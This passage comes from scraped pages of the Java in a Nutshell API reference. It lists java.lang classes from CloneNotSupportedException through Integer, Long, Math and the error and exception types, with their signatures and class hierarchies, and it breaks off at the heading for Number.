ObjectInputStream.resolveClass()

Previous | Home | Next
java.lang.ClassLoader (JDK 1.0) | Book Index | java.lang.CloneNotSupportedException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.14 java.lang.CloneNotSupportedException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.14 java.lang.CloneNotSupportedException (JDK 1.0)

Signals that the clone() method has been called for an object of a class that does not implement the Cloneable interface.

public class CloneNotSupportedException extends Exception {
    // Public Constructors
            public CloneNotSupportedException();
            public CloneNotSupportedException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->CloneNotSupportedException

Thrown By:

Object.clone()

Previous | Home | Next
java.lang.ClassNotFoundException (JDK 1.0) | Book Index | java.lang.Cloneable (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.15 java.lang.Cloneable (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.15 java.lang.Cloneable (JDK 1.0)

This interface defines no methods or variables, but indicates that the class that implements it may be cloned (i.e., copied) by calling the Object method clone(). Calling clone() for an object that does not implement this interface (and does not override clone() with its own implementation) causes a CloneNotSupportedException to be thrown.

public interface Cloneable {
}

Extended By:

CharacterIterator

Implemented By:

BitSet, BreakIterator, Calendar, Collator, Date, DateFormat, DateFormatSymbols, DecimalFormatSymbols, Format, GridBagConstraints, Hashtable, ImageFilter, Insets, Locale, NumberFormat, TimeZone, Vector

Previous | Home | Next
java.lang.CloneNotSupportedException (JDK 1.0) | Book Index | java.lang.Compiler (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.16 java.lang.Compiler (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.16 java.lang.Compiler (JDK 1.0)

The static methods of this class provide an interface to the just-in-time (JIT) byte-code to native code compiler in use by the Java interpreter. If no JIT compiler is in use by the VM, these methods do nothing.

compileClass() asks the JIT compiler to compile the specified class. compileClasses() asks the JIT compiler to compile all classes that match the specified name. These methods return true if the compilation was successful, or false if it failed or if there is no JIT compiler on the system. enable() and disable() turn just-in-time compilation on and off. command() asks the JIT compiler to perform some compiler-specific operation. This is a hook for vendor extensions. No standard operations have been defined.

public final class Compiler extends Object {
    // No Constructor
    // Class Methods
            public static native Object command(Object any);
            public static native boolean compileClass(Class clazz);
            public static native boolean compileClasses(String string);
            public static native void disable();
            public static native void enable();
}

Previous | Home | Next
java.lang.Cloneable (JDK 1.0) | Book Index | java.lang.Double (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.17 java.lang.Double (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.17 java.lang.Double (JDK 1.0)

This class provides an immutable object wrapper around the double primitive data type. valueOf() converts a string to a Double, doubleValue() returns the primitive double value of a Double object, and there are other methods for returning a Double value as a variety of other primitive types.

This class also provides some useful constants and static methods for testing double values. MIN_VALUE and MAX_VALUE are the smallest (closest to zero) and largest representable double values. isInfinite() in class method and instance method forms tests whether a double or a Double has an infinite value. Similarly, isNaN() tests whether a double or Double is not-a-number--this is a comparison that cannot be done directly because the NaN constant never tests equal to any other value, including itself. doubleToLongBits() and longBitsToDouble() allow you to manipulate the bit representation of a double directly.

public final class Double extends Number {
    // Public Constructors
            public Double(double value);
            public Double(String s) throws NumberFormatException;
    // Constants
            public static final double MAX_VALUE;
            public static final double MIN_VALUE;
            public static final double NEGATIVE_INFINITY;
            public static final double NaN;
            public static final double POSITIVE_INFINITY;
        1.1public static final Class TYPE;
    // Class Methods
            public static native long doubleToLongBits(double value);
            public static boolean isInfinite(double v);
            public static boolean isNaN(double v);
            public static native double longBitsToDouble(long bits);
            public static String toString(double d);
            public static Double valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
        1.1public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public boolean isInfinite();
            public boolean isNaN();
            public long longValue();  // Defines Number
        1.1public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Double

Returned By:

Double.valueOf()

Previous | Home | Next
java.lang.Compiler (JDK 1.0) | Book Index | java.lang.Error (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.18 java.lang.Error (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.18 java.lang.Error (JDK 1.0)

This class forms the root of the error hierarchy in Java. Subclasses of Error, unlike subclasses of Exception, should generally not be caught, and generally cause termination of the program. Subclasses of Error need not be declared in the throws clause of a method definition.

getMessage() returns a message associated with the error. See Throwable for other methods.

public class Error extends Throwable {
    // Public Constructors
            public Error();
            public Error(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error

Extended By:

AWTError, LinkageError, ThreadDeath, VirtualMachineError

Previous | Home | Next
java.lang.Double (JDK 1.0) | Book Index | java.lang.Exception (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.19 java.lang.Exception (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.19 java.lang.Exception (JDK 1.0)

This class forms the root of the exception hierarchy in Java. An Exception signals an abnormal condition that must be specially handled to prevent program termination. Exceptions may be caught and handled. Exceptions that are not subclasses of RuntimeException must be declared in the throws clause of any method that can throw them.

getMessage() returns a message associated with the exception. See Throwable for other methods.

public class Exception extends Throwable {
    // Public Constructors
            public Exception();
            public Exception(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception

Extended By:

AWTException, ClassNotFoundException, CloneNotSupportedException, DataFormatException, IllegalAccessException, InstantiationException, InterruptedException, IntrospectionException, InvocationTargetException, IOException, NoSuchFieldException, NoSuchMethodException, ParseException, PropertyVetoException, RuntimeException, TooManyListenersException, UnsupportedFlavorException

Passed To:

WriteAbortedException()

Type Of:

WriteAbortedException.detail

Previous | Home | Next
java.lang.Error (JDK 1.0) | Book Index | java.lang.ExceptionInInitializerError (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.20 java.lang.ExceptionInInitializerError (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.20 java.lang.ExceptionInInitializerError (JDK 1.1)

This error is thrown by the Java Virtual Machine when an exception occurs in the static initializer of a class. You can use the getException() method to obtain the Throwable object that was thrown from the initializer.

public class ExceptionInInitializerError extends LinkageError {
    // Public Constructors
            public ExceptionInInitializerError();
            public ExceptionInInitializerError(Throwable thrown);
            public ExceptionInInitializerError(String s);
    // Public Instance Methods
            public Throwable getException();
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->ExceptionInInitializerError

Previous | Home | Next
java.lang.Exception (JDK 1.0) | Book Index | java.lang.Float (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.21 java.lang.Float (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.21 java.lang.Float (JDK 1.0)

This class provides an immutable object wrapper around the float primitive data type. valueOf() converts a string to a Float, floatValue() returns the primitive float value of a Float object, and there are methods for returning a Float value as a variety of other primitive types.

This class also provides some useful constants and static methods for testing float values. MIN_VALUE and MAX_VALUE are the smallest (closest to zero) and largest representable double values. isInfinite() in class method and instance method forms tests whether a float or a Float has an infinite value. Similarly, isNaN() tests whether a float or Float is not-a-number--this is a comparison that cannot be done directly because the NaN constant never tests equal to any other value, including itself. floatToIntBits() and intBitsToFloat() allow you to manipulate the bit representation of a float directly.

public final class Float extends Number {
    // Public Constructors
            public Float(float value);
            public Float(double value);
            public Float(String s) throws NumberFormatException;
    // Constants
            public static final float MAX_VALUE;
            public static final float MIN_VALUE;
            public static final float NEGATIVE_INFINITY;
            public static final float NaN;
            public static final float POSITIVE_INFINITY;
        1.1public static final Class TYPE;
    // Class Methods
            public static native int floatToIntBits(float value);
            public static native float intBitsToFloat(int bits);
            public static boolean isInfinite(float v);
            public static boolean isNaN(float v);
            public static String toString(float f);
            public static Float valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
        1.1public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public boolean isInfinite();
            public boolean isNaN();
            public long longValue();  // Defines Number
        1.1public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Float

Returned By:

Float.valueOf()

Previous | Home | Next
java.lang.ExceptionInInitializerError (JDK 1.1) | Book Index | java.lang.IllegalAccessError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.22 java.lang.IllegalAccessError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.22 java.lang.IllegalAccessError (JDK 1.0)

Signals an attempted use of a class, method, or variable that is not accessible.

public class IllegalAccessError extends IncompatibleClassChangeError {
    // Public Constructors
            public IllegalAccessError();
            public IllegalAccessError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->IllegalAccessError

Previous | Home | Next
java.lang.Float (JDK 1.0) | Book Index | java.lang.IllegalAccessException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.23 java.lang.IllegalAccessException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.23 java.lang.IllegalAccessException (JDK 1.0)

Signals that a class or initializer is not accessible. Thrown by Class.newInstance().

public class IllegalAccessException extends Exception {
    // Public Constructors
            public IllegalAccessException();
            public IllegalAccessException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IllegalAccessException

Thrown By:

Class.newInstance(),
Constructor.newInstance(),
Field.get(),
Field.getBoolean(),
Field.getByte(),
Field.getChar(),
Field.getDouble(),
Field.getFloat(),
Field.getInt(),
Field.getLong(),
Field.getShort(),
Field.set(),
Field.setBoolean(),
Field.setByte(),
Field.setChar(),
Field.setDouble(),
Field.setFloat(),
Field.setInt(),
Field.setLong(),
Field.setShort(),
Method.invoke()

Previous | Home | Next
java.lang.IllegalAccessError (JDK 1.0) | Book Index | java.lang.IllegalArgumentException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.24 java.lang.IllegalArgumentException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.24 java.lang.IllegalArgumentException (JDK 1.0)

Signals an illegal argument to a method. See subclasses IllegalThreadStateException and NumberFormatException.

public class IllegalArgumentException extends RuntimeException {
    // Public Constructors
            public IllegalArgumentException();
            public IllegalArgumentException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->IllegalArgumentException

Extended By:

IllegalThreadStateException, NumberFormatException

Thrown By:

Array.get(),
Array.getBoolean(),
Array.getByte(),
Array.getChar(),
Array.getDouble(),
Array.getFloat(),
Array.getInt(),
Array.getLength(),
Array.getLong(),
Array.getShort(),
Array.newInstance(),
Array.set(),
Array.setBoolean(),
Array.setByte(),
Array.setChar(),
Array.setDouble(),
Array.setFloat(),
Array.setInt(),
Array.setLong(),
Array.setShort(),
BigDecimal.divide(),
BigDecimal.setScale(),
BigInteger(),
Constructor.newInstance(),
Field.get(),
Field.getBoolean(),
Field.getByte(),
Field.getChar(),
Field.getDouble(),
Field.getFloat(),
Field.getInt(),
Field.getLong(),
Field.getShort(),
Field.set(),
Field.setBoolean(),
Field.setByte(),
Field.setChar(),
Field.setDouble(),
Field.setFloat(),
Field.setInt(),
Field.setLong(),
Field.setShort(),
Method.invoke(),
PropertyEditor.setAsText(),
PropertyEditorSupport.setAsText()

Previous | Home | Next
java.lang.IllegalAccessException (JDK 1.0) | Book Index | java.lang.IllegalMonitorStateException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.25 java.lang.IllegalMonitorStateException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.25 java.lang.IllegalMonitorStateException (JDK 1.0)

Signals an illegal monitor state. It is thrown by the Object notify() and wait() methods used for thread synchronization.

public class IllegalMonitorStateException extends RuntimeException {
    // Public Constructors
            public IllegalMonitorStateException();
            public IllegalMonitorStateException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->IllegalMonitorStateException

Previous | Home | Next
java.lang.IllegalArgumentException (JDK 1.0) | Book Index | java.lang.IllegalStateException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.26 java.lang.IllegalStateException (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.26 java.lang.IllegalStateException (JDK 1.1)

An exception of this type signals that a method has been invoked on an object that is not in an appropriate state to be able to perform the requested operation.

public class IllegalStateException extends RuntimeException {
    // Public Constructors
            public IllegalStateException();
            public IllegalStateException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->IllegalStateException

Extended By:

IllegalComponentStateException

Previous | Home | Next
java.lang.IllegalMonitorStateException (JDK 1.0) | Book Index | java.lang.IllegalThreadStateException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.27 java.lang.IllegalThreadStateException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.27 java.lang.IllegalThreadStateException (JDK 1.0)

Signals that a thread is not in the appropriate state for an attempted operation to succeed.

public class IllegalThreadStateException extends IllegalArgumentException {
    // Public Constructors
            public IllegalThreadStateException();
            public IllegalThreadStateException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException-> IllegalArgumentException->IllegalThreadStateException

Previous | Home | Next
java.lang.IllegalStateException (JDK 1.1) | Book Index | java.lang.IncompatibleClassChangeError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.28 java.lang.IncompatibleClassChangeError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.28 java.lang.IncompatibleClassChangeError (JDK 1.0)

This is the superclass of a group of related error types. It signals some kind of illegal use of a legal class.

public class IncompatibleClassChangeError extends LinkageError {
    // Public Constructors
            public IncompatibleClassChangeError();
            public IncompatibleClassChangeError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError

Extended By:

AbstractMethodError, IllegalAccessError, InstantiationError, NoSuchFieldError, NoSuchMethodError

Previous | Home | Next
java.lang.IllegalThreadStateException (JDK 1.0) | Book Index | java.lang.IndexOutOfBoundsException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.29 java.lang.IndexOutOfBoundsException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.29 java.lang.IndexOutOfBoundsException (JDK 1.0)

Signals that an index is out of bounds. See the subclasses ArrayIndexOutOfBoundsException and StringIndexOutOfBoundsException.

public class IndexOutOfBoundsException extends RuntimeException {
    // Public Constructors
            public IndexOutOfBoundsException();
            public IndexOutOfBoundsException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->IndexOutOfBoundsException

Extended By:

ArrayIndexOutOfBoundsException, StringIndexOutOfBoundsException

Previous | Home | Next
java.lang.IncompatibleClassChangeError (JDK 1.0) | Book Index | java.lang.InstantiationError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.30 java.lang.InstantiationError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.30 java.lang.InstantiationError (JDK 1.0)

Signals an attempt to instantiate an interface or abstract class.

public class InstantiationError extends IncompatibleClassChangeError {
    // Public Constructors
            public InstantiationError();
            public InstantiationError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->InstantiationError

Previous | Home | Next
java.lang.IndexOutOfBoundsException (JDK 1.0) | Book Index | java.lang.InstantiationException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.31 java.lang.InstantiationException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.31 java.lang.InstantiationException (JDK 1.0)

Signals an attempt to instantiate an interface or an abstract class.

public class InstantiationException extends Exception {
    // Public Constructors
            public InstantiationException();
            public InstantiationException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->InstantiationException

Thrown By:

Class.newInstance(), Constructor.newInstance()

Previous | Home | Next
java.lang.InstantiationError (JDK 1.0) | Book Index | java.lang.Integer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.32 java.lang.Integer (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.32 java.lang.Integer (JDK 1.0)

This class provides an immutable object wrapper around the int primitive data type. This class also contains useful minimum and maximum constants and useful conversion methods. parseInt() and valueOf() convert a string to an int or to an Integer, respectively. Each can take a radix argument to specify the base that the value is represented in. decode() also converts a String to an Integer. It assumes a hexadecimal number if the string begins with "0X" or "0x," or an octal number if the string begins with "0". Otherwise, a decimal number is assumed.

toString() converts in the other direction, and the static version takes a radix argument. toBinaryString(), toOctalString(), and toHexString() convert an int to a string using base 2, base 8, and base 16. These methods treat the integer as an unsigned value.

Other routines return the value of an Integer as various primitive types, and finally, the getInteger() methods return the integer value of a named property from the system property list or the specified default value.

public final class Integer extends Number {
    // Public Constructors
            public Integer(int value);
            public Integer(String s) throws NumberFormatException;
    // Constants
            public static final int MAX_VALUE;
            public static final int MIN_VALUE;
        1.1public static final Class TYPE;
    // Class Methods
        1.1public static Integer decode(String nm) throws NumberFormatException;
            public static Integer getInteger(String nm);
            public static Integer getInteger(String nm, int val);
            public static Integer getInteger(String nm, Integer val);
            public static int parseInt(String s, int radix) throws NumberFormatException;
            public static int parseInt(String s) throws NumberFormatException;
            public static String toBinaryString(int i);
            public static String toHexString(int i);
            public static String toOctalString(int i);
            public static String toString(int i, int radix);
            public static String toString(int i);
            public static Integer valueOf(String s, int radix) throws NumberFormatException;
            public static Integer valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
        1.1public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public long longValue();  // Defines Number
        1.1public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Integer

Passed To:

Integer.getInteger()

Returned By:

Integer.decode(),
Integer.getInteger(),
Integer.valueOf()

Previous | Home | Next
java.lang.InstantiationException (JDK 1.0) | Book Index | java.lang.InternalError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.33 java.lang.InternalError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.33 java.lang.InternalError (JDK 1.0)

Signals an internal error in the Java interpreter.

public class InternalError extends VirtualMachineError {
    // Public Constructors
            public InternalError();
            public InternalError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->VirtualMachineError->InternalError

Previous | Home | Next
java.lang.Integer (JDK 1.0) | Book Index | java.lang.InterruptedException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.34 java.lang.InterruptedException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.34 java.lang.InterruptedException (JDK 1.0)

Signals that the thread has been interrupted.

public class InterruptedException extends Exception {
    // Public Constructors
            public InterruptedException();
            public InterruptedException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->InterruptedException

Thrown By:

EventQueue.getNextEvent(),
MediaTracker.waitForAll(),
MediaTracker.waitForID(),
Object.wait(),
PixelGrabber.grabPixels(),
Process.waitFor(),
Thread.join(),
Thread.sleep()

Previous | Home | Next
java.lang.InternalError (JDK 1.0) | Book Index | java.lang.LinkageError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.35 java.lang.LinkageError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.35 java.lang.LinkageError (JDK 1.0)

The superclass of a group of errors that signal problems linking a class or resolving dependencies between classes.

public class LinkageError extends Error {
    // Public Constructors
            public LinkageError();
            public LinkageError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError

Extended By:

ClassCircularityError, ClassFormatError, ExceptionInInitializerError, IncompatibleClassChangeError, NoClassDefFoundError, UnsatisfiedLinkError, VerifyError

Previous | Home | Next
java.lang.InterruptedException (JDK 1.0) | Book Index | java.lang.Long (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.36 java.lang.Long (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.36 java.lang.Long (JDK 1.0)

This class provides an immutable object wrapper around the long primitive data type. This class also contains useful minimum and maximum constants and useful conversion methods. parseLong() and valueOf() convert a string to a long or to a Long, respectively. Each can take a radix argument to specify the base that the value is represented in. toString() converts in the other direction and may also take a radix argument. toBinaryString(), toOctalString(), and toHexString() convert a long to a string using base 2, base 8, and base 16. These methods treat the long as an unsigned value.

Other routines return the value of a Long as various primitive types, and finally, the getLong() methods return the long value of a named property or the value of the specified default.

public final class Long extends Number {
    // Public Constructors
            public Long(long value);
            public Long(String s) throws NumberFormatException;
    // Constants
            public static final long MAX_VALUE;
            public static final long MIN_VALUE;
        1.1public static final Class TYPE;
    // Class Methods
            public static Long getLong(String nm);
            public static Long getLong(String nm, long val);
            public static Long getLong(String nm, Long val);
            public static long parseLong(String s, int radix) throws NumberFormatException;
            public static long parseLong(String s) throws NumberFormatException;
            public static String toBinaryString(long i);
            public static String toHexString(long i);
            public static String toOctalString(long i);
            public static String toString(long i, int radix);
            public static String toString(long i);
            public static Long valueOf(String s, int radix) throws NumberFormatException;
            public static Long valueOf(String s) throws NumberFormatException;
    // Public Instance Methods
        1.1public byte byteValue();  // Overrides Number
            public double doubleValue();  // Defines Number
            public boolean equals(Object obj);  // Overrides Object
            public float floatValue();  // Defines Number
            public int hashCode();  // Overrides Object
            public int intValue();  // Defines Number
            public long longValue();  // Defines Number
        1.1public short shortValue();  // Overrides Number
            public String toString();  // Overrides Object
}

Hierarchy:

Object->Number(Serializable)->Long

Passed To:

Long.getLong()

Returned By:

Long.getLong(), Long.valueOf()

Previous | Home | Next
java.lang.LinkageError (JDK 1.0) | Book Index | java.lang.Math (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.37 java.lang.Math (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.37 java.lang.Math (JDK 1.0)

This class defines constants for the mathematical values e and pi, and defines static methods for floating-point trigonometry, exponentiation, and other operations. It is the equivalent of the C <math.h> functions. It also contains methods for computing minimum and maximum values and for generating pseudo-random numbers.

public final class Math extends Object {
    // No Constructor
    // Constants
            public static final double E;
            public static final double PI;
    // Class Methods
            public static native double IEEEremainder(double f1, double f2);
            public static int abs(int a);
            public static long abs(long a);
            public static float abs(float a);
            public static double abs(double a);
            public static native double acos(double a);
            public static native double asin(double a);
            public static native double atan(double a);
            public static native double atan2(double a, double b);
            public static native double ceil(double a);
            public static native double cos(double a);
            public static native double exp(double a);
            public static native double floor(double a);
            public static native double log(double a);
            public static int max(int a, int b);
            public static long max(long a, long b);
            public static float max(float a, float b);
            public static double max(double a, double b);
            public static int min(int a, int b);
            public static long min(long a, long b);
            public static float min(float a, float b);
            public static double min(double a, double b);
            public static native double pow(double a, double b);
            public static synchronized double random();
            public static native double rint(double a);
            public static int round(float a);
            public static long round(double a);
            public static native double sin(double a);
            public static native double sqrt(double a);
            public static native double tan(double a);
}

Previous | Home | Next
java.lang.Long (JDK 1.0) | Book Index | java.lang.NegativeArraySizeException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.38 java.lang.NegativeArraySizeException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.38 java.lang.NegativeArraySizeException (JDK 1.0)

Signals an attempt to allocate an array with fewer than zero elements.

public class NegativeArraySizeException extends RuntimeException {
    // Public Constructors
            public NegativeArraySizeException();
            public NegativeArraySizeException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->NegativeArraySizeException

Thrown By:

Array.newInstance()

Previous | Home | Next
java.lang.Math (JDK 1.0) | Book Index | java.lang.NoClassDefFoundError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.39 java.lang.NoClassDefFoundError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.39 java.lang.NoClassDefFoundError (JDK 1.0)

Signals that the definition of a specified class could not be found.

public class NoClassDefFoundError extends LinkageError {
    // Public Constructors
            public NoClassDefFoundError();
            public NoClassDefFoundError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->NoClassDefFoundError

Previous | Home | Next
java.lang.NegativeArraySizeException (JDK 1.0) | Book Index | java.lang.NoSuchFieldError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.40 java.lang.NoSuchFieldError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.40 java.lang.NoSuchFieldError (JDK 1.0)

Signals that a specified field could not be found.

public class NoSuchFieldError extends IncompatibleClassChangeError {
    // Public Constructors
            public NoSuchFieldError();
            public NoSuchFieldError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->NoSuchFieldError

Previous | Home | Next
java.lang.NoClassDefFoundError (JDK 1.0) | Book Index | java.lang.NoSuchFieldException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.41 java.lang.NoSuchFieldException (JDK 1.1)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.41 java.lang.NoSuchFieldException (JDK 1.1)

This exception signals that the specified field does not exist in the specified class.

public class NoSuchFieldException extends Exception {
    // Public Constructors
            public NoSuchFieldException();
            public NoSuchFieldException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->NoSuchFieldException

Thrown By:

Class.getDeclaredField(), Class.getField()

Previous | Home | Next
java.lang.NoSuchFieldError (JDK 1.0) | Book Index | java.lang.NoSuchMethodError (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.42 java.lang.NoSuchMethodError (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.42 java.lang.NoSuchMethodError (JDK 1.0)

Signals that a specified method could not be found.

public class NoSuchMethodError extends IncompatibleClassChangeError {
    // Public Constructors
            public NoSuchMethodError();
            public NoSuchMethodError(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Error->LinkageError->IncompatibleClassChangeError->NoSuchMethodError

Previous | Home | Next
java.lang.NoSuchFieldException (JDK 1.1) | Book Index | java.lang.NoSuchMethodException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.43 java.lang.NoSuchMethodException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.43 java.lang.NoSuchMethodException (JDK 1.0)

This exception signals that the specified method does not exist in the specified class.

public class NoSuchMethodException extends Exception {
    // Public Constructors
            public NoSuchMethodException();
            public NoSuchMethodException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->NoSuchMethodException

Thrown By:

Class.getConstructor(),
Class.getDeclaredConstructor(),
Class.getDeclaredMethod(),
Class.getMethod()

Previous | Home | Next
java.lang.NoSuchMethodError (JDK 1.0) | Book Index | java.lang.NullPointerException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.44 java.lang.NullPointerException (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.44 java.lang.NullPointerException (JDK 1.0)

Signals an attempt to access a field or invoke a method of a null object.

public class NullPointerException extends RuntimeException {
    // Public Constructors
            public NullPointerException();
            public NullPointerException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException->NullPointerException

Previous | Home | Next
java.lang.NoSuchMethodException (JDK 1.0) | Book Index | java.lang.Number (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 25] 25.45 java.lang.Number (JDK 1.0)

Java in a Nutshell

Previous Chapter 25
The java.lang Package 		Next

25.45 java.lang.Number (JDK 1.0)

